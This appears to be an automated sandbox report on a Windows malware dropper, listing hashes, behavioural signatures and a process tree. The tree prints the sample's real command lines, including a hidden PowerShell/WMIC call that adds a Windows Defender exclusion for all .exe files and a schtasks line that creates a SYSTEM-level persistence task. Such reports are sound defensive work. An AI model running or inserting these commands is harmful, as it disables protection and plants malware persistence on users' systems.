Analysis
-
max time kernel
142s -
max time network
146s -
platform
windows11-21h2_x64 -
resource
win11-20240214-en -
resource tags
arch:x64arch:x86image:win11-20240214-enlocale:en-usos:windows11-21h2-x64system -
submitted
06/04/2024, 05:01
Static task
static1
Behavioral task
behavioral1
Sample
106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe
Resource
win10v2004-20231215-en
General
-
Target
106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe
-
Size
6.9MB
-
MD5
1d2f8f1f8f977ac2ce5c7d69142d92c9
-
SHA1
5a07aa99a86a66239204bd684894a080bf5b87fa
-
SHA256
106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035
-
SHA512
2089a48f6798257358e43e0e0cda66934405ba212da14c311c4deb52b382db1578d28b8ccc8f4e347f4f8b120081e05b83c3f4d9df0a3df1b3d1228ff34ed4e0
-
SSDEEP
196608:91OShrfn90vjbQL0MZMFoENqo0C029v7CGQp0wooD/:3OWrojkLwFo51ETCGa0woa/
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 17 1868 rundll32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2567984660-2719943099-2683635618-1000\Control Panel\International\Geo\Nation daaPwtm.exe -
Executes dropped EXE 3 IoCs
pid Process 3160 Install.exe 1204 OjCHFYM.exe 4600 daaPwtm.exe -
Loads dropped DLL 1 IoCs
pid Process 1868 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json daaPwtm.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json daaPwtm.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini daaPwtm.exe -
Drops file in System32 directory 31 IoCs
description ioc Process File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol OjCHFYM.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_4AAAE8DA7A12C7A50B5920DE5F0F0D15 daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\GroupPolicy\gpt.ini OjCHFYM.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_22265154E37786E06D33C3F357FE6306 daaPwtm.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_4AAAE8DA7A12C7A50B5920DE5F0F0D15 daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_155F6CC932BF304EF612DAA091EECD91 daaPwtm.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F3258A5B11F1178F530EE7A0197D8F15 daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_22265154E37786E06D33C3F357FE6306 daaPwtm.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F3258A5B11F1178F530EE7A0197D8F15 daaPwtm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_155F6CC932BF304EF612DAA091EECD91 daaPwtm.exe -
Drops file in Program Files directory 14 IoCs
description ioc Process File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja daaPwtm.exe File created C:\Program Files (x86)\fZHZowTYSgfU2\ZkwLVLebrZrHT.dll daaPwtm.exe File created C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\XvHXZAA.xml daaPwtm.exe File created C:\Program Files (x86)\epUZFeichsCPC\GlGomVo.xml daaPwtm.exe File created C:\Program Files (x86)\VDiAXGzPiWUn\QOJPtoV.dll daaPwtm.exe File created C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi daaPwtm.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi daaPwtm.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak daaPwtm.exe File created C:\Program Files (x86)\qBvbbKpBU\DEqklWO.xml daaPwtm.exe File created C:\Program Files (x86)\qBvbbKpBU\kLLbZH.dll daaPwtm.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak daaPwtm.exe File created C:\Program Files (x86)\fZHZowTYSgfU2\BaSMZgS.xml daaPwtm.exe File created C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\yigOzsN.dll daaPwtm.exe File created C:\Program Files (x86)\epUZFeichsCPC\eAjNchS.dll daaPwtm.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\Tasks\MWViHNuTpmRlpInKg.job schtasks.exe File created C:\Windows\Tasks\wbeMFPOaxEodGIM.job schtasks.exe File created C:\Windows\Tasks\BinjFlxHFUMMGNOij.job schtasks.exe File created C:\Windows\Tasks\bpJjqbWMDOjxkYrvBb.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4976 schtasks.exe 1480 schtasks.exe 1200 schtasks.exe 4304 schtasks.exe 1044 schtasks.exe 4412 schtasks.exe 3016 schtasks.exe 3760 schtasks.exe 1508 schtasks.exe 4632 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" daaPwtm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{0bf74aa2-0000-0000-0000-d01200000000} daaPwtm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" daaPwtm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix daaPwtm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing daaPwtm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{0bf74aa2-0000-0000-0000-d01200000000}\NukeOnDelete = "0" daaPwtm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5036 powershell.exe 5036 powershell.exe 1396 powershell.exe 1396 powershell.exe 4164 powershell.exe 4164 powershell.exe 3292 powershell.EXE 3292 powershell.EXE 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 3608 powershell.exe 3608 powershell.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe 4600 daaPwtm.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5036 powershell.exe Token: SeIncreaseQuotaPrivilege 2628 WMIC.exe Token: SeSecurityPrivilege 2628 WMIC.exe Token: SeTakeOwnershipPrivilege 2628 WMIC.exe Token: SeLoadDriverPrivilege 2628 WMIC.exe Token: SeSystemProfilePrivilege 2628 WMIC.exe Token: SeSystemtimePrivilege 2628 WMIC.exe Token: SeProfSingleProcessPrivilege 2628 WMIC.exe Token: SeIncBasePriorityPrivilege 2628 WMIC.exe Token: SeCreatePagefilePrivilege 2628 WMIC.exe Token: SeBackupPrivilege 2628 WMIC.exe Token: SeRestorePrivilege 2628 WMIC.exe Token: SeShutdownPrivilege 2628 WMIC.exe Token: SeDebugPrivilege 2628 WMIC.exe Token: SeSystemEnvironmentPrivilege 2628 WMIC.exe Token: SeRemoteShutdownPrivilege 2628 WMIC.exe Token: SeUndockPrivilege 2628 WMIC.exe Token: SeManageVolumePrivilege 2628 WMIC.exe Token: 33 2628 WMIC.exe Token: 34 2628 WMIC.exe Token: 35 2628 WMIC.exe Token: 36 2628 WMIC.exe Token: SeIncreaseQuotaPrivilege 2628 WMIC.exe Token: SeSecurityPrivilege 2628 WMIC.exe Token: SeTakeOwnershipPrivilege 2628 WMIC.exe Token: SeLoadDriverPrivilege 2628 WMIC.exe Token: SeSystemProfilePrivilege 2628 WMIC.exe Token: SeSystemtimePrivilege 2628 WMIC.exe Token: SeProfSingleProcessPrivilege 2628 WMIC.exe Token: SeIncBasePriorityPrivilege 2628 WMIC.exe Token: SeCreatePagefilePrivilege 2628 WMIC.exe Token: SeBackupPrivilege 2628 WMIC.exe Token: SeRestorePrivilege 2628 WMIC.exe Token: SeShutdownPrivilege 2628 WMIC.exe Token: SeDebugPrivilege 2628 WMIC.exe Token: SeSystemEnvironmentPrivilege 2628 WMIC.exe Token: SeRemoteShutdownPrivilege 2628 WMIC.exe Token: SeUndockPrivilege 2628 WMIC.exe Token: SeManageVolumePrivilege 2628 WMIC.exe Token: 33 2628 WMIC.exe Token: 34 2628 WMIC.exe Token: 35 2628 WMIC.exe Token: 36 2628 WMIC.exe Token: SeDebugPrivilege 1396 powershell.exe Token: SeDebugPrivilege 4164 powershell.exe Token: SeDebugPrivilege 3292 powershell.EXE Token: SeDebugPrivilege 3608 powershell.exe Token: SeAssignPrimaryTokenPrivilege 2232 WMIC.exe Token: SeIncreaseQuotaPrivilege 2232 WMIC.exe Token: SeSecurityPrivilege 2232 WMIC.exe Token: SeTakeOwnershipPrivilege 2232 WMIC.exe Token: SeLoadDriverPrivilege 2232 WMIC.exe Token: SeSystemtimePrivilege 2232 WMIC.exe Token: SeBackupPrivilege 2232 WMIC.exe Token: SeRestorePrivilege 2232 WMIC.exe Token: SeShutdownPrivilege 2232 WMIC.exe Token: SeSystemEnvironmentPrivilege 2232 WMIC.exe Token: SeUndockPrivilege 2232 WMIC.exe Token: SeManageVolumePrivilege 2232 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2232 WMIC.exe Token: SeIncreaseQuotaPrivilege 2232 WMIC.exe Token: SeSecurityPrivilege 2232 WMIC.exe Token: SeTakeOwnershipPrivilege 2232 WMIC.exe Token: SeLoadDriverPrivilege 2232 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3644 wrote to memory of 3160 3644 106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe 76 PID 3644 wrote to memory of 3160 3644 106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe 76 PID 3644 wrote to memory of 3160 3644 106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe 76 PID 3160 wrote to memory of 1088 3160 Install.exe 78 PID 3160 wrote to memory of 1088 3160 Install.exe 78 PID 3160 wrote to memory of 1088 3160 Install.exe 78 PID 1088 wrote to memory of 4060 1088 forfiles.exe 80 PID 1088 wrote to memory of 4060 1088 forfiles.exe 80 PID 1088 wrote to memory of 4060 1088 forfiles.exe 80 PID 4060 wrote to memory of 5036 4060 cmd.exe 81 PID 4060 wrote to memory of 5036 4060 cmd.exe 81 PID 4060 wrote to memory of 5036 4060 cmd.exe 81 PID 5036 wrote to memory of 2628 5036 powershell.exe 82 PID 5036 wrote to memory of 2628 5036 powershell.exe 82 PID 5036 wrote to memory of 2628 5036 powershell.exe 82 PID 3160 wrote to memory of 4976 3160 Install.exe 84 PID 3160 wrote to memory of 4976 3160 Install.exe 84 PID 3160 wrote to memory of 4976 3160 Install.exe 84 PID 1204 wrote to memory of 1396 1204 OjCHFYM.exe 87 PID 1204 wrote to memory of 1396 1204 OjCHFYM.exe 87 PID 1204 wrote to memory of 1396 1204 OjCHFYM.exe 87 PID 1396 wrote to memory of 4872 1396 powershell.exe 89 PID 1396 wrote to memory of 4872 1396 powershell.exe 89 PID 1396 wrote to memory of 4872 1396 powershell.exe 89 PID 4872 wrote to memory of 2244 4872 cmd.exe 90 PID 4872 wrote to memory of 2244 4872 cmd.exe 90 PID 4872 wrote to memory of 2244 4872 cmd.exe 90 PID 1396 wrote to memory of 3432 1396 powershell.exe 91 PID 1396 wrote to memory of 3432 1396 powershell.exe 91 PID 1396 wrote to memory of 3432 1396 powershell.exe 91 PID 1396 wrote to memory of 1328 1396 powershell.exe 92 PID 1396 wrote to memory of 1328 1396 powershell.exe 92 PID 1396 wrote to memory of 1328 1396 powershell.exe 92 PID 1396 wrote to memory of 932 1396 powershell.exe 93 PID 1396 wrote to memory of 932 1396 powershell.exe 93 PID 1396 wrote to memory of 932 1396 powershell.exe 93 PID 1396 wrote to memory of 392 1396 powershell.exe 94 PID 1396 wrote to memory of 392 1396 powershell.exe 94 PID 1396 wrote to memory of 392 1396 powershell.exe 94 PID 1396 wrote to memory of 3788 1396 powershell.exe 95 PID 1396 wrote to memory of 3788 1396 powershell.exe 95 PID 1396 wrote to memory of 3788 1396 powershell.exe 95 PID 1396 wrote to memory of 3320 1396 powershell.exe 96 PID 1396 wrote to memory of 3320 1396 powershell.exe 96 PID 1396 wrote to memory of 3320 1396 powershell.exe 96 PID 1396 wrote to memory of 3228 1396 powershell.exe 97 PID 1396 wrote to memory of 3228 1396 powershell.exe 97 PID 1396 wrote to memory of 3228 1396 powershell.exe 97 PID 1396 wrote to memory of 4800 1396 powershell.exe 98 PID 1396 wrote to memory of 4800 1396 powershell.exe 98 PID 1396 wrote to memory of 4800 1396 powershell.exe 98 PID 1396 wrote to memory of 1048 1396 powershell.exe 99 PID 1396 wrote to memory of 1048 1396 powershell.exe 99 PID 1396 wrote to memory of 1048 1396 powershell.exe 99 PID 1396 wrote to memory of 2492 1396 powershell.exe 100 PID 1396 wrote to memory of 2492 1396 powershell.exe 100 PID 1396 wrote to memory of 2492 1396 powershell.exe 100 PID 1396 wrote to memory of 952 1396 powershell.exe 101 PID 1396 wrote to memory of 952 1396 powershell.exe 101 PID 1396 wrote to memory of 952 1396 powershell.exe 101 PID 1396 wrote to memory of 4224 1396 powershell.exe 102 PID 1396 wrote to memory of 4224 1396 powershell.exe 102 PID 1396 wrote to memory of 4224 1396 powershell.exe 102 PID 1396 wrote to memory of 4668 1396 powershell.exe 103
Processes
-
C:\Users\Admin\AppData\Local\Temp\106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe"C:\Users\Admin\AppData\Local\Temp\106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3644 -
C:\Users\Admin\AppData\Local\Temp\7zS6A62.tmp\Install.exe.\Install.exe /AdidysikD "385118" /S2⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:3160 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"3⤵
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True4⤵
- Suspicious use of WriteProcessMemory
PID:4060 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5036 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
PID:2628
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bpJjqbWMDOjxkYrvBb" /SC once /ST 05:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\OjCHFYM.exe\" Oz /qmsite_idPOM 385118 /S" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4976
-
-
-
C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\OjCHFYM.exeC:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\OjCHFYM.exe Oz /qmsite_idPOM 385118 /S1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1204 -
